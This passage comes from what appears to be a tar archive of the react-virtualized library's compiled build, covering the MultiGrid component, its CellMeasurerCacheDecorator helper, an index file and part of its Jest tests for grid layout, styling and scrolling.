        className: this.props.classNameBottomLeftGrid,
        columnCount: fixedColumnCount,
        deferredMeasurementCache: this._deferredMeasurementCacheBottomLeftGrid,
        height: height,
        onScroll: enableFixedColumnScroll ? this._onScrollTop : undefined,
        ref: this._bottomLeftGridRef,
        rowCount: Math.max(0, rowCount - fixedRowCount) + additionalRowCount,
        rowHeight: this._rowHeightBottomGrid,
        style: this._bottomLeftGridStyle,
        tabIndex: null,
        width: gridWidth
      }));

      if (hideBottomLeftGridScrollbar) {
        return React.createElement("div", {
          className: "BottomLeftGrid_ScrollWrapper",
          style: _objectSpread({}, this._bottomLeftGridStyle, {
            height: height,
            width: width,
            overflowY: 'hidden'
          })
        }, bottomLeftGrid);
      }

      return bottomLeftGrid;
    }
  }, {
    key: "_renderBottomRightGrid",
    value: function _renderBottomRightGrid(props) {
      var columnCount = props.columnCount,
          fixedColumnCount = props.fixedColumnCount,
          fixedRowCount = props.fixedRowCount,
          rowCount = props.rowCount,
          scrollToColumn = props.scrollToColumn,
          scrollToRow = props.scrollToRow;
      return React.createElement(_Grid["default"], (0, _extends2["default"])({}, props, {
        cellRenderer: this._cellRendererBottomRightGrid,
        className: this.props.classNameBottomRightGrid,
        columnCount: Math.max(0, columnCount - fixedColumnCount),
        columnWidth: this._columnWidthRightGrid,
        deferredMeasurementCache: this._deferredMeasurementCacheBottomRightGrid,
        height: this._getBottomGridHeight(props),
        onScroll: this._onScroll,
        onScrollbarPresenceChange: this._onScrollbarPresenceChange,
        ref: this._bottomRightGridRef,
        rowCount: Math.max(0, rowCount - fixedRowCount),
        rowHeight: this._rowHeightBottomGrid,
        scrollToColumn: scrollToColumn - fixedColumnCount,
        scrollToRow: scrollToRow - fixedRowCount,
        style: this._bottomRightGridStyle,
        width: this._getRightGridWidth(props)
      }));
    }
  }, {
    key: "_renderTopLeftGrid",
    value: function _renderTopLeftGrid(props) {
      var fixedColumnCount = props.fixedColumnCount,
          fixedRowCount = props.fixedRowCount;

      if (!fixedColumnCount || !fixedRowCount) {
        return null;
      }

      return React.createElement(_Grid["default"], (0, _extends2["default"])({}, props, {
        className: this.props.classNameTopLeftGrid,
        columnCount: fixedColumnCount,
        height: this._getTopGridHeight(props),
        ref: this._topLeftGridRef,
        rowCount: fixedRowCount,
        style: this._topLeftGridStyle,
        tabIndex: null,
        width: this._getLeftGridWidth(props)
      }));
    }
  }, {
    key: "_renderTopRightGrid",
    value: function _renderTopRightGrid(props) {
      var columnCount = props.columnCount,
          enableFixedRowScroll = props.enableFixedRowScroll,
          fixedColumnCount = props.fixedColumnCount,
          fixedRowCount = props.fixedRowCount,
          scrollLeft = props.scrollLeft,
          hideTopRightGridScrollbar = props.hideTopRightGridScrollbar;
      var _this$state5 = this.state,
          showHorizontalScrollbar = _this$state5.showHorizontalScrollbar,
          scrollbarSize = _this$state5.scrollbarSize;

      if (!fixedRowCount) {
        return null;
      }

      var additionalColumnCount = showHorizontalScrollbar ? 1 : 0,
          height = this._getTopGridHeight(props),
          width = this._getRightGridWidth(props),
          additionalHeight = showHorizontalScrollbar ? scrollbarSize : 0;

      var gridHeight = height,
          style = this._topRightGridStyle;

      if (hideTopRightGridScrollbar) {
        gridHeight = height + additionalHeight;
        style = _objectSpread({}, this._topRightGridStyle, {
          left: 0
        });
      }

      var topRightGrid = React.createElement(_Grid["default"], (0, _extends2["default"])({}, props, {
        cellRenderer: this._cellRendererTopRightGrid,
        className: this.props.classNameTopRightGrid,
        columnCount: Math.max(0, columnCount - fixedColumnCount) + additionalColumnCount,
        columnWidth: this._columnWidthRightGrid,
        deferredMeasurementCache: this._deferredMeasurementCacheTopRightGrid,
        height: gridHeight,
        onScroll: enableFixedRowScroll ? this._onScrollLeft : undefined,
        ref: this._topRightGridRef,
        rowCount: fixedRowCount,
        scrollLeft: scrollLeft,
        style: style,
        tabIndex: null,
        width: width
      }));

      if (hideTopRightGridScrollbar) {
        return React.createElement("div", {
          className: "TopRightGrid_ScrollWrapper",
          style: _objectSpread({}, this._topRightGridStyle, {
            height: height,
            width: width,
            overflowX: 'hidden'
          })
        }, topRightGrid);
      }

      return topRightGrid;
    }
  }], [{
    key: "getDerivedStateFromProps",
    value: function getDerivedStateFromProps(nextProps, prevState) {
      if (nextProps.scrollLeft !== prevState.scrollLeft || nextProps.scrollTop !== prevState.scrollTop) {
        return {
          scrollLeft: nextProps.scrollLeft != null && nextProps.scrollLeft >= 0 ? nextProps.scrollLeft : prevState.scrollLeft,
          scrollTop: nextProps.scrollTop != null && nextProps.scrollTop >= 0 ? nextProps.scrollTop : prevState.scrollTop
        };
      }

      return null;
    }
  }]);
  return MultiGrid;
}(React.PureComponent);

(0, _defineProperty2["default"])(MultiGrid, "defaultProps", {
  classNameBottomLeftGrid: '',
  classNameBottomRightGrid: '',
  classNameTopLeftGrid: '',
  classNameTopRightGrid: '',
  enableFixedColumnScroll: false,
  enableFixedRowScroll: false,
  fixedColumnCount: 0,
  fixedRowCount: 0,
  scrollToColumn: -1,
  scrollToRow: -1,
  style: {},
  styleBottomLeftGrid: {},
  styleBottomRightGrid: {},
  styleTopLeftGrid: {},
  styleTopRightGrid: {},
  hideTopRightGridScrollbar: false,
  hideBottomLeftGridScrollbar: false
});
MultiGrid.propTypes = process.env.NODE_ENV !== "production" ? {
  classNameBottomLeftGrid: _propTypes["default"].string.isRequired,
  classNameBottomRightGrid: _propTypes["default"].string.isRequired,
  classNameTopLeftGrid: _propTypes["default"].string.isRequired,
  classNameTopRightGrid: _propTypes["default"].string.isRequired,
  enableFixedColumnScroll: _propTypes["default"].bool.isRequired,
  enableFixedRowScroll: _propTypes["default"].bool.isRequired,
  fixedColumnCount: _propTypes["default"].number.isRequired,
  fixedRowCount: _propTypes["default"].number.isRequired,
  onScrollbarPresenceChange: _propTypes["default"].func,
  style: _propTypes["default"].object.isRequired,
  styleBottomLeftGrid: _propTypes["default"].object.isRequired,
  styleBottomRightGrid: _propTypes["default"].object.isRequired,
  styleTopLeftGrid: _propTypes["default"].object.isRequired,
  styleTopRightGrid: _propTypes["default"].object.isRequired,
  hideTopRightGridScrollbar: _propTypes["default"].bool,
  hideBottomLeftGridScrollbar: _propTypes["default"].bool
} : {};
(0, _reactLifecyclesCompat.polyfill)(MultiGrid);
var _default = MultiGrid;
exports["default"] = _default;commonjs/MultiGrid/CellMeasurerCacheDecorator.js000064400000007677151677406000016030 0ustar00"use strict";

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports["default"] = void 0;

var _classCallCheck2 = _interopRequireDefault(require("@babel/runtime/helpers/classCallCheck"));

var _createClass2 = _interopRequireDefault(require("@babel/runtime/helpers/createClass"));

var _defineProperty2 = _interopRequireDefault(require("@babel/runtime/helpers/defineProperty"));

var _CellMeasurer = require("../CellMeasurer");

/**
 * Caches measurements for a given cell.
 */
var CellMeasurerCacheDecorator =
/*#__PURE__*/
function () {
  function CellMeasurerCacheDecorator() {
    var _this = this;

    var params = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {};
    (0, _classCallCheck2["default"])(this, CellMeasurerCacheDecorator);
    (0, _defineProperty2["default"])(this, "_cellMeasurerCache", void 0);
    (0, _defineProperty2["default"])(this, "_columnIndexOffset", void 0);
    (0, _defineProperty2["default"])(this, "_rowIndexOffset", void 0);
    (0, _defineProperty2["default"])(this, "columnWidth", function (_ref) {
      var index = _ref.index;

      _this._cellMeasurerCache.columnWidth({
        index: index + _this._columnIndexOffset
      });
    });
    (0, _defineProperty2["default"])(this, "rowHeight", function (_ref2) {
      var index = _ref2.index;

      _this._cellMeasurerCache.rowHeight({
        index: index + _this._rowIndexOffset
      });
    });
    var cellMeasurerCache = params.cellMeasurerCache,
        _params$columnIndexOf = params.columnIndexOffset,
        columnIndexOffset = _params$columnIndexOf === void 0 ? 0 : _params$columnIndexOf,
        _params$rowIndexOffse = params.rowIndexOffset,
        rowIndexOffset = _params$rowIndexOffse === void 0 ? 0 : _params$rowIndexOffse;
    this._cellMeasurerCache = cellMeasurerCache;
    this._columnIndexOffset = columnIndexOffset;
    this._rowIndexOffset = rowIndexOffset;
  }

  (0, _createClass2["default"])(CellMeasurerCacheDecorator, [{
    key: "clear",
    value: function clear(rowIndex, columnIndex) {
      this._cellMeasurerCache.clear(rowIndex + this._rowIndexOffset, columnIndex + this._columnIndexOffset);
    }
  }, {
    key: "clearAll",
    value: function clearAll() {
      this._cellMeasurerCache.clearAll();
    }
  }, {
    key: "hasFixedHeight",
    value: function hasFixedHeight() {
      return this._cellMeasurerCache.hasFixedHeight();
    }
  }, {
    key: "hasFixedWidth",
    value: function hasFixedWidth() {
      return this._cellMeasurerCache.hasFixedWidth();
    }
  }, {
    key: "getHeight",
    value: function getHeight(rowIndex) {
      var columnIndex = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 0;
      return this._cellMeasurerCache.getHeight(rowIndex + this._rowIndexOffset, columnIndex + this._columnIndexOffset);
    }
  }, {
    key: "getWidth",
    value: function getWidth(rowIndex) {
      var columnIndex = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 0;
      return this._cellMeasurerCache.getWidth(rowIndex + this._rowIndexOffset, columnIndex + this._columnIndexOffset);
    }
  }, {
    key: "has",
    value: function has(rowIndex) {
      var columnIndex = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 0;
      return this._cellMeasurerCache.has(rowIndex + this._rowIndexOffset, columnIndex + this._columnIndexOffset);
    }
  }, {
    key: "set",
    value: function set(rowIndex, columnIndex, width, height) {
      this._cellMeasurerCache.set(rowIndex + this._rowIndexOffset, columnIndex + this._columnIndexOffset, width, height);
    }
  }, {
    key: "defaultHeight",
    get: function get() {
      return this._cellMeasurerCache.defaultHeight;
    }
  }, {
    key: "defaultWidth",
    get: function get() {
      return this._cellMeasurerCache.defaultWidth;
    }
  }]);
  return CellMeasurerCacheDecorator;
}();

exports["default"] = CellMeasurerCacheDecorator;commonjs/MultiGrid/index.js000064400000000717151677406000011751 0ustar00"use strict";

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

Object.defineProperty(exports, "__esModule", {
  value: true
});
Object.defineProperty(exports, "MultiGrid", {
  enumerable: true,
  get: function get() {
    return _MultiGrid["default"];
  }
});
exports["default"] = void 0;

var _MultiGrid = _interopRequireDefault(require("./MultiGrid"));

var _default = _MultiGrid["default"];
exports["default"] = _default;commonjs/MultiGrid/MultiGrid.jest.js000064400000062062151677406000013507 0ustar00"use strict";

var _interopRequireWildcard = require("@babel/runtime/helpers/interopRequireWildcard");

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

var _slicedToArray2 = _interopRequireDefault(require("@babel/runtime/helpers/slicedToArray"));

var _extends2 = _interopRequireDefault(require("@babel/runtime/helpers/extends"));

var React = _interopRequireWildcard(require("react"));

var _reactDom = require("react-dom");

var _TestUtils = require("../TestUtils");

var _MultiGrid = _interopRequireDefault(require("./MultiGrid"));

var _CellMeasurer = require("../CellMeasurer");

// These tests only focus on what MultiGrid does specifically.
// The inner Grid component is tested in depth elsewhere.
describe('MultiGrid', function () {
  function defaultCellRenderer(_ref) {
    var columnIndex = _ref.columnIndex,
        key = _ref.key,
        rowIndex = _ref.rowIndex,
        style = _ref.style;
    return React.createElement("div", {
      className: "gridItem",
      key: key,
      style: style
    }, "row:".concat(rowIndex, ", column:").concat(columnIndex));
  }

  function getMarkup() {
    var props = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {};
    return React.createElement(_MultiGrid["default"], (0, _extends2["default"])({
      cellRenderer: defaultCellRenderer,
      columnCount: 50,
      columnWidth: 50,
      fixedColumnCount: 2,
      fixedRowCount: 1,
      height: 300,
      overscanColumnCount: 0,
      overscanRowCount: 0,
      autoHeight: false,
      rowHeight: 20,
      rowCount: 100,
      width: 400
    }, props));
  }

  describe('fixed columns and rows', function () {
    it('should render 4 Grids when configured for fixed columns and rows', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        fixedColumnCount: 1,
        fixedRowCount: 1
      })));
      var grids = rendered.querySelectorAll('.ReactVirtualized__Grid');
      expect(grids.length).toEqual(4);

      var _grids = (0, _slicedToArray2["default"])(grids, 4),
          topLeft = _grids[0],
          topRight = _grids[1],
          bottomLeft = _grids[2],
          bottomRight = _grids[3];

      expect(topLeft.style.getPropertyValue('overflow-x')).toEqual('hidden');
      expect(topLeft.style.getPropertyValue('overflow-y')).toEqual('hidden');
      expect(topRight.style.getPropertyValue('overflow-x')).toEqual('hidden');
      expect(topRight.style.getPropertyValue('overflow-y')).toEqual('hidden');
      expect(bottomLeft.style.getPropertyValue('overflow-x')).toEqual('hidden');
      expect(bottomLeft.style.getPropertyValue('overflow-y')).toEqual('hidden');
      expect(bottomRight.style.getPropertyValue('overflow-x')).toEqual('auto');
      expect(bottomRight.style.getPropertyValue('overflow-y')).toEqual('auto');
    });
    it('should render 2 Grids when configured for fixed columns only', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        fixedColumnCount: 1,
        fixedRowCount: 0
      })));
      var grids = rendered.querySelectorAll('.ReactVirtualized__Grid');
      expect(grids.length).toEqual(2);

      var _grids2 = (0, _slicedToArray2["default"])(grids, 2),
          bottomLeft = _grids2[0],
          bottomRight = _grids2[1];

      expect(bottomLeft.style.getPropertyValue('overflow-x')).toEqual('hidden');
      expect(bottomLeft.style.getPropertyValue('overflow-y')).toEqual('hidden');
      expect(bottomRight.style.getPropertyValue('overflow-x')).toEqual('auto');
      expect(bottomRight.style.getPropertyValue('overflow-y')).toEqual('auto');
    });
    it('should render 2 Grids when configured for fixed rows only', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        fixedColumnCount: 0,
        fixedRowCount: 1
      })));
      var grids = rendered.querySelectorAll('.ReactVirtualized__Grid');
      expect(grids.length).toEqual(2);

      var _grids3 = (0, _slicedToArray2["default"])(grids, 2),
          topRight = _grids3[0],
          bottomRight = _grids3[1];

      expect(topRight.style.getPropertyValue('overflow-x')).toEqual('hidden');
      expect(topRight.style.getPropertyValue('overflow-y')).toEqual('hidden');
      expect(bottomRight.style.getPropertyValue('overflow-x')).toEqual('auto');
      expect(bottomRight.style.getPropertyValue('overflow-y')).toEqual('auto');
    });
    it('should render 1 Grid when configured for neither fixed columns and rows', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        fixedColumnCount: 0,
        fixedRowCount: 0
      })));
      var grids = rendered.querySelectorAll('.ReactVirtualized__Grid');
      expect(grids.length).toEqual(1);

      var _grids4 = (0, _slicedToArray2["default"])(grids, 1),
          bottomRight = _grids4[0];

      expect(bottomRight.style.getPropertyValue('overflow-x')).toEqual('auto');
      expect(bottomRight.style.getPropertyValue('overflow-y')).toEqual('auto');
    });
    it('should adjust the number of Grids when fixed column or row counts change', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        fixedColumnCount: 2,
        fixedRowCount: 1
      })));
      expect(rendered.querySelectorAll('.ReactVirtualized__Grid').length).toEqual(4);
      rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        fixedColumnCount: 0,
        fixedRowCount: 0
      })));
      expect(rendered.querySelectorAll('.ReactVirtualized__Grid').length).toEqual(1);
      rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        fixedColumnCount: 0,
        fixedRowCount: 2
      })));
      expect(rendered.querySelectorAll('.ReactVirtualized__Grid').length).toEqual(2);
    });
    it('should allow scrolling of fixed Grids when configured for fixed columns and rows with scroll interaction', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        enableFixedColumnScroll: true,
        enableFixedRowScroll: true,
        fixedColumnCount: 1,
        fixedRowCount: 1
      })));
      var grids = rendered.querySelectorAll('.ReactVirtualized__Grid');
      expect(grids.length).toEqual(4);

      var _grids5 = (0, _slicedToArray2["default"])(grids, 4),
          topLeft = _grids5[0],
          topRight = _grids5[1],
          bottomLeft = _grids5[2],
          bottomRight = _grids5[3];

      expect(topLeft.style.getPropertyValue('overflow-x')).toEqual('hidden');
      expect(topLeft.style.getPropertyValue('overflow-y')).toEqual('hidden');
      expect(topRight.style.getPropertyValue('overflow-x')).toEqual('auto');
      expect(topRight.style.getPropertyValue('overflow-y')).toEqual('hidden');
      expect(bottomLeft.style.getPropertyValue('overflow-x')).toEqual('hidden');
      expect(bottomLeft.style.getPropertyValue('overflow-y')).toEqual('auto');
      expect(bottomRight.style.getPropertyValue('overflow-x')).toEqual('auto');
      expect(bottomRight.style.getPropertyValue('overflow-y')).toEqual('auto');
    });
  });
  describe('hideTopRightGridScrollbar, hideBottomLeftGridScrollbar should hide the scrollbars', function () {
    function getScrollbarSize20() {
      return 20;
    }

    it('should add scroll wrappers to hide scroll bar when configured for fixed columns and rows with scroll interaction', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        enableFixedColumnScroll: true,
        enableFixedRowScroll: true,
        fixedColumnCount: 1,
        fixedRowCount: 1,
        hideTopRightGridScrollbar: true,
        hideBottomLeftGridScrollbar: true,
        getScrollbarSize: getScrollbarSize20
      })));
      var wrappers = rendered.querySelectorAll('.TopRightGrid_ScrollWrapper');
      expect(wrappers.length).toEqual(1);

      var _wrappers = wrappers,
          _wrappers2 = (0, _slicedToArray2["default"])(_wrappers, 1),
          topRightWrapper = _wrappers2[0];

      wrappers = rendered.querySelectorAll('.BottomLeftGrid_ScrollWrapper');
      expect(wrappers.length).toEqual(1);

      var _wrappers3 = wrappers,
          _wrappers4 = (0, _slicedToArray2["default"])(_wrappers3, 1),
          bottomLeftWrapper = _wrappers4[0];

      expect(topRightWrapper.style.getPropertyValue('overflow-x')).toEqual('hidden');
      expect(topRightWrapper.style.getPropertyValue('overflow-y')).toEqual('hidden');
      expect(bottomLeftWrapper.style.getPropertyValue('overflow-x')).toEqual('hidden');
      expect(bottomLeftWrapper.style.getPropertyValue('overflow-y')).toEqual('hidden');
      expect(topRightWrapper.style.getPropertyValue('height')).toEqual('20px');
      expect(bottomLeftWrapper.style.getPropertyValue('height')).toEqual('280px');
      expect(topRightWrapper.style.getPropertyValue('width')).toEqual('350px');
      expect(bottomLeftWrapper.style.getPropertyValue('width')).toEqual('50px');
      var grids = rendered.querySelectorAll('.ReactVirtualized__Grid');
      expect(grids.length).toEqual(4);

      var _grids6 = (0, _slicedToArray2["default"])(grids, 4),
          topLeft = _grids6[0],
          topRight = _grids6[1],
          bottomLeft = _grids6[2],
          bottomRight = _grids6[3];

      expect(topLeft.style.getPropertyValue('overflow-x')).toEqual('hidden');
      expect(topLeft.style.getPropertyValue('overflow-y')).toEqual('hidden');
      expect(topRight.style.getPropertyValue('overflow-x')).toEqual('auto');
      expect(topRight.style.getPropertyValue('overflow-y')).toEqual('hidden');
      expect(topRight.style.getPropertyValue('height')).toEqual('40px');
      expect(bottomLeft.style.getPropertyValue('overflow-x')).toEqual('hidden');
      expect(bottomLeft.style.getPropertyValue('overflow-y')).toEqual('auto');
      expect(bottomLeft.style.getPropertyValue('width')).toEqual('70px');
      expect(bottomRight.style.getPropertyValue('overflow-x')).toEqual('auto');
      expect(bottomRight.style.getPropertyValue('overflow-y')).toEqual('auto');
    });
  });
  describe('#recomputeGridSize', function () {
    it('should clear calculated cached styles in recomputeGridSize', function () {
      var fixedRowHeight = 75;
      var fixedColumnWidth = 100;

      function variableRowHeight(_ref2) {
        var index = _ref2.index;

        if (index === 0) {
          return fixedRowHeight;
        }

        return 20;
      }

      function variableColumnWidth(_ref3) {
        var index = _ref3.index;

        if (index === 0) {
          return fixedColumnWidth;
        }

        return 50;
      }

      var multiGrid;
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        fixedColumnCount: 1,
        fixedRowCount: 1,
        rowHeight: variableRowHeight,
        columnWidth: variableColumnWidth,
        ref: function ref(_ref4) {
          multiGrid = _ref4;
        }
      })));
      var grids = rendered.querySelectorAll('.ReactVirtualized__Grid');
      expect(grids.length).toEqual(4);

      var _grids7 = (0, _slicedToArray2["default"])(grids, 4),
          topLeft = _grids7[0],
          topRight = _grids7[1],
          bottomLeft = _grids7[2],
          bottomRight = _grids7[3];

      expect(topLeft.style.getPropertyValue('height')).toEqual('75px');
      expect(topRight.style.getPropertyValue('height')).toEqual('75px');
      expect(bottomLeft.style.getPropertyValue('height')).toEqual('225px');
      expect(bottomRight.style.getPropertyValue('height')).toEqual('225px');
      expect(topLeft.style.getPropertyValue('width')).toEqual('100px');
      expect(topRight.style.getPropertyValue('width')).toEqual('300px');
      expect(bottomLeft.style.getPropertyValue('width')).toEqual('100px');
      expect(bottomRight.style.getPropertyValue('width')).toEqual('300px');
      expect(multiGrid._topGridHeight).toEqual(75);
      expect(multiGrid._leftGridWidth).toEqual(100);
      fixedRowHeight = 125;
      fixedColumnWidth = 75;
      multiGrid.recomputeGridSize();
      expect(multiGrid._topGridHeight).toEqual(125);
      expect(multiGrid._leftGridWidth).toEqual(75);
      multiGrid.forceUpdate();
      var gridsAfter = rendered.querySelectorAll('.ReactVirtualized__Grid');
      expect(gridsAfter.length).toEqual(4);

      var _gridsAfter = (0, _slicedToArray2["default"])(gridsAfter, 4),
          topLeftAfter = _gridsAfter[0],
          topRightAfter = _gridsAfter[1],
          bottomLeftAfter = _gridsAfter[2],
          bottomRightAfter = _gridsAfter[3];

      expect(topLeftAfter.style.getPropertyValue('height')).toEqual('125px');
      expect(topRightAfter.style.getPropertyValue('height')).toEqual('125px');
      expect(bottomLeftAfter.style.getPropertyValue('height')).toEqual('175px');
      expect(bottomRightAfter.style.getPropertyValue('height')).toEqual('175px');
      expect(topLeftAfter.style.getPropertyValue('width')).toEqual('75px');
      expect(topRightAfter.style.getPropertyValue('width')).toEqual('325px');
      expect(bottomLeftAfter.style.getPropertyValue('width')).toEqual('75px');
      expect(bottomRightAfter.style.getPropertyValue('width')).toEqual('325px');
    });
  });
  describe('scrollToColumn and scrollToRow', function () {
    it('should adjust :scrollLeft for the main Grid when scrollToColumn is used', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        columnWidth: 50,
        fixedColumnCount: 2,
        scrollToAlignment: 'start',
        scrollToColumn: 19
      }))); // Bottom-right Grid is the last Grid

      var grid = rendered.querySelectorAll('.ReactVirtualized__Grid')[3]; // 20th column, less 2 for the fixed-column Grid, 50px column width

      expect(grid.scrollLeft).toEqual(850);
    });
    it('should adjust :scrollTop for the main Grid when scrollToRow is used', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        fixedRowCount: 1,
        rowHeight: 50,
        scrollToAlignment: 'start',
        scrollToRow: 19
      }))); // Bottom-right Grid is the last Grid

      var grid = rendered.querySelectorAll('.ReactVirtualized__Grid')[3]; // 20th row, less 1 for the fixed-row Grid, 50px row width

      expect(grid.scrollTop).toEqual(900);
    });
  });
  describe('#forceUpdateGrids', function () {
    it('should call forceUpdate() on inner Grids', function () {
      var cellRenderer = jest.fn();
      cellRenderer.mockImplementation(function (_ref5) {
        var key = _ref5.key;
        return React.createElement("div", {
          key: key,
          style: {}
        });
      });
      var rendered = (0, _TestUtils.render)(getMarkup({
        cellRenderer: cellRenderer,
        columnCount: 2,
        fixedColumnCount: 1,
        fixedRowCount: 1,
        rowCount: 2
      }));
      expect(cellRenderer.mock.calls).toHaveLength(4);
      cellRenderer.mockReset();
      rendered.forceUpdateGrids();
      expect(cellRenderer.mock.calls).toHaveLength(4);
    });
  });
  describe('#invalidateCellSizeAfterRender', function () {
    it('should call invalidateCellSizeAfterRender() on inner Grids', function () {
      var cellRenderer = jest.fn();
      cellRenderer.mockImplementation(function (_ref6) {
        var key = _ref6.key;
        return React.createElement("div", {
          key: key,
          style: {}
        });
      });
      var rendered = (0, _TestUtils.render)(getMarkup({
        cellRenderer: cellRenderer,
        columnCount: 2,
        fixedColumnCount: 1,
        fixedRowCount: 1,
        rowCount: 2
      }));
      cellRenderer.mockReset();
      rendered.invalidateCellSizeAfterRender({
        columnIndex: 0,
        rowIndex: 0
      });
      rendered.forceUpdate();
      expect(cellRenderer.mock.calls).toHaveLength(4);
    });
    it('should specify itself as the :parent for CellMeasurer rendered cells', function () {
      // HACK For some reason, using Jest mock broke here
      var savedParent;

      function cellRenderer(_ref7) {
        var key = _ref7.key,
            parent = _ref7.parent;
        savedParent = parent;
        return React.createElement("div", {
          key: key,
          style: {}
        });
      }

      var rendered = (0, _TestUtils.render)(getMarkup({
        cellRenderer: cellRenderer,
        columnCount: 2,
        fixedColumnCount: 1,
        fixedRowCount: 1,
        rowCount: 2
      }));
      expect(savedParent).toBe(rendered);
    });
  });
  describe('styles', function () {
    it('should support custom style for the outer MultiGrid wrapper element', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        style: {
          backgroundColor: 'black'
        }
      })));
      expect(rendered.style.backgroundColor).toEqual('black');
    });
    it('should support custom styles for each Grid', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        fixedColumnCount: 2,
        fixedRowCount: 1,
        styleBottomLeftGrid: {
          backgroundColor: 'green'
        },
        styleBottomRightGrid: {
          backgroundColor: 'red'
        },
        styleTopLeftGrid: {
          backgroundColor: 'blue'
        },
        styleTopRightGrid: {
          backgroundColor: 'purple'
        }
      })));
      var grids = rendered.querySelectorAll('.ReactVirtualized__Grid');
      var topLeftGrid = grids[0];
      var topRightGrid = grids[1];
      var bottomLeftGrid = grids[2];
      var bottomRightGrid = grids[3];
      expect(topLeftGrid.style.backgroundColor).toEqual('blue');
      expect(topRightGrid.style.backgroundColor).toEqual('purple');
      expect(bottomLeftGrid.style.backgroundColor).toEqual('green');
      expect(bottomRightGrid.style.backgroundColor).toEqual('red');
    });
  });
  describe('scrollTop and scrollLeft', function () {
    it('should adjust :scrollLeft for top-right and main grids when scrollLeft is used', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        columnWidth: 50,
        fixedColumnCount: 2,
        scrollLeft: 850
      })));
      var grids = rendered.querySelectorAll('.ReactVirtualized__Grid');
      var topRightGrid = grids[1];
      var bottomRightGrid = grids[3];
      expect(topRightGrid.scrollLeft).toEqual(850);
      expect(bottomRightGrid.scrollLeft).toEqual(850);
    });
    it('should adjust :scrollTop for bottom-left and main grids when scrollTop is used', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        columnWidth: 50,
        fixedColumnCount: 2,
        scrollTop: 500
      })));
      var grids = rendered.querySelectorAll('.ReactVirtualized__Grid');
      var bottomLeftGrid = grids[2];
      var bottomRightGrid = grids[3];
      expect(bottomLeftGrid.scrollTop).toEqual(500);
      expect(bottomRightGrid.scrollTop).toEqual(500);
    });
    it('should adjust :scrollTop and :scrollLeft when scrollTop and scrollLeft change', function () {
      (0, _TestUtils.render)(getMarkup());
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        scrollTop: 750,
        scrollLeft: 900
      })));
      var grids = rendered.querySelectorAll('.ReactVirtualized__Grid');
      var topRightGrid = grids[1];
      var bottomLeftGrid = grids[2];
      var bottomRightGrid = grids[3];
      expect(topRightGrid.scrollLeft).toEqual(900);
      expect(bottomRightGrid.scrollLeft).toEqual(900);
      expect(bottomLeftGrid.scrollTop).toEqual(750);
      expect(bottomRightGrid.scrollTop).toEqual(750);
    });
    it('should not crash when decreasing :rowCount', function () {
      (0, _TestUtils.render)(getMarkup());
      var updated = (0, _TestUtils.render)(getMarkup({
        rowCount: 2
      }));
      expect(updated.props.rowCount).toEqual(2);
    });
    it('should not crash when decreasing :columnCount', function () {
      (0, _TestUtils.render)(getMarkup());
      var updated = (0, _TestUtils.render)(getMarkup({
        columnCount: 3
      }));
      expect(updated.props.columnCount).toEqual(3);
    });
  });
  describe('deferredMeasurementCache', function () {
    function getDeferredMeasurementCache() {
      var deferredMeasurementCache = new _CellMeasurer.CellMeasurerCache({
        fixedHeight: true,
        fixedWidth: true
      });
      deferredMeasurementCache._columnIndices = {};
      deferredMeasurementCache._rowIndices = {};

      deferredMeasurementCache.has = function (rowIndex, columnIndex) {
        deferredMeasurementCache._columnIndices[columnIndex] = columnIndex;
        deferredMeasurementCache._rowIndices[rowIndex] = rowIndex;
        return true;
      };

      return deferredMeasurementCache;
    }

    it('should wrap top-right and bottom-right deferredMeasurementCache if fixedColumnCount is > 0', function () {
      var deferredMeasurementCache = getDeferredMeasurementCache();
      (0, _TestUtils.render)(getMarkup({
        deferredMeasurementCache: deferredMeasurementCache,
        columnCount: 3,
        fixedColumnCount: 1,
        fixedRowCount: 0,
        rowCount: 1
      }));
      expect(Object.keys(deferredMeasurementCache._columnIndices)).toEqual(['0', '1', '2']);
    });
    it('should not wrap top-right and bottom-right deferredMeasurementCache if fixedColumnCount is 0', function () {
      var deferredMeasurementCache = getDeferredMeasurementCache();
      (0, _TestUtils.render)(getMarkup({
        deferredMeasurementCache: deferredMeasurementCache,
        columnCount: 2,
        fixedColumnCount: 0,
        fixedRowCount: 0,
        rowCount: 1
      }));
      expect(Object.keys(deferredMeasurementCache._columnIndices)).toEqual(['0', '1']);
    });
    it('should wrap bottom-left and bottom-right deferredMeasurementCache if fixedRowCount is > 0', function () {
      var deferredMeasurementCache = getDeferredMeasurementCache();
      (0, _TestUtils.render)(getMarkup({
        deferredMeasurementCache: deferredMeasurementCache,
        columnCount: 1,
        fixedColumnCount: 0,
        fixedRowCount: 1,
        rowCount: 3
      }));
